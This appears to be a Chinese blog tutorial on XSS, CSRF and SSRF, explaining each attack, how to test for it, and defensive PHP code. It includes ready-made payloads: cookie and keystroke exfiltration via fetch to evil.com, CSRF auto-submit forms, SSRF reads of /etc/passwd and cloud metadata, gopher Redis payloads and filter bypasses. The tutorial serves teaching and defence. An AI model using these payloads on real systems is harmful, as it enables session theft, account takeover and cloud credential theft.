XSS、CSRF、SSRF攻击原理与防护全解析

1 XSS跨站脚本攻击

1.1 漏洞原理与分类

核心原理
复制代码
// 漏洞本质:用户输入被当作代码执行
用户输入: <script>alert('XSS')</script>
服务器输出: <div>用户输入: <script>alert('XSS')</script></div>
浏览器执行: 弹出警告框
基础分类对比

|-------------|-------|---------|--------|----------|
| 类型 | 持久性 | 数据存储位置 | 影响范围 | 典型案例 |
| 反射型XSS | 非持续 | URL参数 | 单个用户 | 恶意链接传播 |
| 存储型XSS | 持续 | 服务器数据库 | 所有访问用户 | 论坛留言XSS |
| DOM型XSS | 依赖客户端 | 不存储到服务器 | 单个用户 | 前端JS处理漏洞 |

1.2 详细分类解析

常用标签https://www.freebuf.com/articles/web/340080.html

XSShttps://www.fooying.com/the-art-of-xss-1-introduction/

绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320

https://blog.csdn.net/weixin_42478365/article/details/116597222

1.2.1 反射型XSS

攻击流程:

复制代码
1. 攻击者构造恶意URL: http://victim.com/search?q=<script>alert(1)</script>
2. 诱骗用户点击链接
3. 服务器返回包含恶意脚本的页面
4. 用户浏览器执行恶意脚本

检测方法:

  • 在所有输入点尝试提交XSS payload
  • 检查参数是否未经处理直接输出到页面
  • 测试GET/POST/Header等所有数据交互位置
1.2.2 存储型XSS

攻击流程:

复制代码
1. 攻击者在留言板提交: <script>stealCookie()</script>
2. 恶意代码存储到数据库
3. 其他用户访问留言板页面
4. 所有访问者浏览器执行恶意脚本

高危场景:

  • 用户评论/留言系统
  • 富文本编辑器内容
  • 用户资料展示页面
  • 文件上传名称显示
1.2.3 DOM型XSS

攻击示例:

复制代码
<!-- 漏洞代码 -->
<script>
    var search = document.location.search;
    var keyword = search.split('=')[1];
    document.write("搜索关键词: " + keyword);
</script>
<!-- 攻击URL -->
http://site.com/search?keyword=<script>alert('DOM XSS')</script>

1.3 高级XSS类型

1.3.1 UXSS(通用跨站脚本)

原理: 利用浏览器或扩展漏洞

  • CVE-2021-34506: Edge浏览器翻译功能漏洞
  • 攻击效果: 绕过同源策略,访问其他域名数据
1.3.2 SVG XSS

攻击向量:

复制代码
<!-- 恶意SVG文件 -->
<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert('SVG XSS')</script>
    <image href="javascript:alert(1)"/>
    <a href="javascript:alert(2)"><text>点击我</text></a>
</svg>
1.3.3 其他扩展类型
  • mXSS: 由于HTML解析差异导致的XSS
  • jQuery XSS: jQuery选择器或方法使用不当
  • PDF XSS: PDF内嵌JavaScript执行
  • Flash XSS: ActionScript脚本注入

1.4 XSS攻击向量与利用

常用Payload标签
复制代码
<!-- 基础脚本标签 -->
<script>alert('XSS')</script>
<script src="http://evil.com/xss.js"></script>
<!-- 事件处理器 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- JavaScript伪协议 -->
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">

<!-- 数据劫持 -->
<meta http-equiv="refresh" content="0; url=http://evil.com">
实际攻击利用场景
复制代码
// 1. Cookie窃取
<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>
// 2. 页面劫持
<script>document.location='http://evil.com/phishing'</script>
// 3. 键盘记录
<script>document.onkeypress=function(e){fetch('http://evil.com/log?key='+e.key)}</script>
// 4. 内网探测
<script>
    var img = new Image();
    img.src = "http://192.168.1.1:8080/test.jpg";
    img.onerror = function() { /* 端口开放 */ }
</script>

1.5 XSS测试方法论

系统化测试流程
上下文相关测试
复制代码
<!-- HTML标签内 -->
<div>INPUT</div>  <!-- 使用 </div><script>alert(1)</script> -->

<!-- HTML属性内 -->
<input value="INPUT">  <!-- 使用 "><script>alert(1)</script> -->

<!-- JavaScript代码内 -->
<script>var name = "INPUT";</script>  <!-- 使用 ";alert(1);// -->

<!-- URL上下文 -->
<a href="INPUT">link</a>  <!-- 使用 javascript:alert(1) -->

1.6 XSS防护方案

1.6.1 CSP(内容安全策略)

配置示例:

复制代码
Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' https://trusted.cdn.com; 
    img-src *; 
    style-src 'self' 'unsafe-inline';

CSP绕过技术:

  • 利用允许的CDN域名上传恶意脚本
  • 基于JSONP的回调函数执行
  • 数据URI scheme利用
  • 不完整策略配置利用

配置方法:

复制代码
// PHP配置
session.cookie_httponly = 1
ini_set("session.cookie_httponly", 1);
setcookie('sessionid', 'value', time()+3600, '/', '', false, true);

绕过限制:

  • 利用CVE-2012-0053等历史漏洞
  • 通过phpinfo页面获取Session ID
  • Flash/Java插件中的XMLHttpRequest
  • 不依赖Cookie的攻击方式(钓鱼、BEEF框架)
1.6.3 输入过滤与输出编码

防御策略:

复制代码
// 输入过滤
function xss_filter($input) {
    $input = strip_tags($input);
    $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    return $input;
}

// 上下文感知输出编码
function encode_for_html($input) {
    return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

function encode_for_js($input) {
    return json_encode($input);
}

function encode_for_attribute($input) {
    return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

2 CSRF跨站请求伪造

2.1 漏洞原理与检测

核心原理
复制代码
<!-- 恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000">
<!-- 用户登录bank.com后访问此页面,自动发起转账请求 -->
检测方法

黑盒检测:

  • 检查关键操作是否缺乏CSRF Token
  • 验证Referer检查是否可绕过
  • 测试Cookie的SameSite属性

白盒审计:

复制代码
// 存在漏洞的代码 - 无防护
if ($_POST['action'] == 'transfer') {
    transfer_money($_POST['to'], $_POST['amount']);
}

// 安全代码 - 有Token验证
if ($_POST['action'] == 'transfer' && 
    $_POST['csrf_token'] === $_SESSION['csrf_token']) {
    transfer_money($_POST['to'], $_POST['amount']);
}

2.2 CSRF利用技术

基础利用
复制代码
<!-- 自动提交表单 -->
<form id="csrf" action="http://victim.com/change_email" method="POST">
    <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- 图片标签CSRF -->
<img src="http://victim.com/delete_account" width="0" height="0">
高级绕过技术
2.2.1 Referer检查绕过
复制代码
<!-- 空Referer -->
<meta name="referrer" content="never">

<!-- 从HTTPS跳到HTTP丢失Referer -->
<!-- 利用重定向绕过检查 -->

<!-- 子域名绕过 -->
<!-- 如果检查宽松: victim.com 允许 *.victim.com -->
2.2.2 Token防护绕过
复制代码
// Token删除攻击
// 直接删除token参数,某些实现会跳过验证

// Token复用攻击
// 捕获合法token在多个请求中重复使用

// Token预测
// 如果token生成算法有规律可循

// 通过XSS窃取Token
// 先XSS获取token,再构造CSRF

2.3 CSRF防护方案

完整防护体系
复制代码
// 1. CSRF Token实现
function generate_csrf_token() {
    return bin2hex(random_bytes(32));
}

function validate_csrf_token($token) {
    return hash_equals($_SESSION['csrf_token'], $token);
}

// 2. SameSite Cookie
setcookie('sessionid', 'value', [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);

// 3. 双重提交验证
// Cookie和表单中都包含token,服务器验证一致性

3 SSRF服务器端请求伪造

3.1 漏洞原理与危害

核心原理
复制代码
// 存在漏洞的代码
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

// 攻击者输入: http://internal-server:8080/secret
// 服务器访问内网资源并返回结果
攻击影响
  • 内网服务探测: 扫描内网IP和端口
  • 内部系统访问: 访问管理界面、数据库等
  • 云元数据窃取: AWS/Aliyun/腾讯云元数据API
  • 远程代码执行: 结合其他服务漏洞

3.2 SSRF漏洞挖掘

黑盒探测点识别

业务功能场景:

复制代码
# 1. 社交分享预览
GET /preview?url=http://target.com

# 2. 网页转码服务  
GET /transcode?url=http://target.com

# 3. 在线翻译
POST /translate { "url": "http://target.com" }

# 4. 图片处理
GET /download?image_url=http://target.com/1.jpg

# 5. 数据采集
POST /crawl { "target": "http://site.com" }

关键参数识别:

复制代码
share    wap      url       link
src      source   target    u
display  sourceUrl imageURL path
file     page     host     api

3.3 SSRF利用技术

3.3.1 协议利用
复制代码
# 1. HTTP/HTTPS协议 - 基础内网探测
http://192.168.1.1:8080/admin
http://127.0.0.1:3306

# 2. File协议 - 文件读取
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts

# 3. Dict协议 - 端口扫描
dict://192.168.1.1:22/info
dict://127.0.0.1:6379/info

# 4. Gopher协议 - 发送任意TCP数据
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aPING%0d%0a

# 5. FTP协议 - 数据外带
ftp://attacker.com:21/file.txt
3.3.2 云环境利用
复制代码
# AWS元数据
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/

# 阿里云元数据  
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/user-data/

# 腾讯云元数据
http://metadata.tencentyun.com/latest/meta-data/
3.3.3 绕过技术
复制代码
# 1. 域名重定向
http://evil.com/redirect -> http://internal.com

# 2. IP编码
http://2130706433/ = http://127.0.0.1
http://0x7f000001/ = http://127.0.0.1

# 3. 特殊域名
http://localhost.attacker.com
http://127.0.0.1.xip.io

# 4. URL解析差异
http://127.0.0.1@evil.com
http://evil.com#@127.0.0.1

3.4 SSRF防护方案

多层防护策略
复制代码
// 1. 白名单验证
function is_allowed_url($url) {
    $allowed_domains = ['cdn.trusted.com', 'static.trusted.com'];
    $host = parse_url($url, PHP_URL_HOST);
    return in_array($host, $allowed_domains);
}

// 2. 协议限制
$allowed_schemes = ['http', 'https'];
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, $allowed_schemes)) {
    return false;
}

// 3. IP黑名单
$blacklist_ips = ['127.0.0.1', '192.168.0.0/16', '10.0.0.0/8'];
$ip = gethostbyname($host);
foreach ($blacklist_ips as $black_ip) {
    if (ip_in_range($ip, $black_ip)) {
        return false;
    }
}

// 4. 使用中间代理
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROXY, 'proxy.internal:8080');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
相关推荐
shang_xs8 小时前
Java 25 ScopedValue - 作用域内安全访问的一种实现
java·开发语言·安全
OEC小胖胖9 小时前
02|从 `createRoot` 到 `scheduleUpdateOnFiber`:一次更新如何进入 React 引擎
前端·javascript·react.js·前端框架
2501_941805319 小时前
在首尔智能公共自行车场景中构建实时调度与高并发骑行数据分析平台的工程设计实践经验分享
安全
龙亘川9 小时前
低空智能网联安全技术深度解析:从标准体系到核心技术落地
安全
林太白9 小时前
ofd文件
前端·后端
闲云一鹤9 小时前
Git 焚决!一个绝招助你找回丢失的代码文件!
前端·git
小宇的天下9 小时前
Calibre 3Dstack--每日一个命令day 6 [process和export layout](3-6)
java·前端·数据库
冴羽9 小时前
2025 年最火的前端项目出炉,No.1 易主!
前端·javascript·node.js
wordbaby9 小时前
Flexbox 布局中的滚动失效问题:为什么需要 `min-h-0`?
前端·css
demo007x9 小时前
在国内也能使用 Claude cli给自己提效,附实操方法
前端·后端·程序员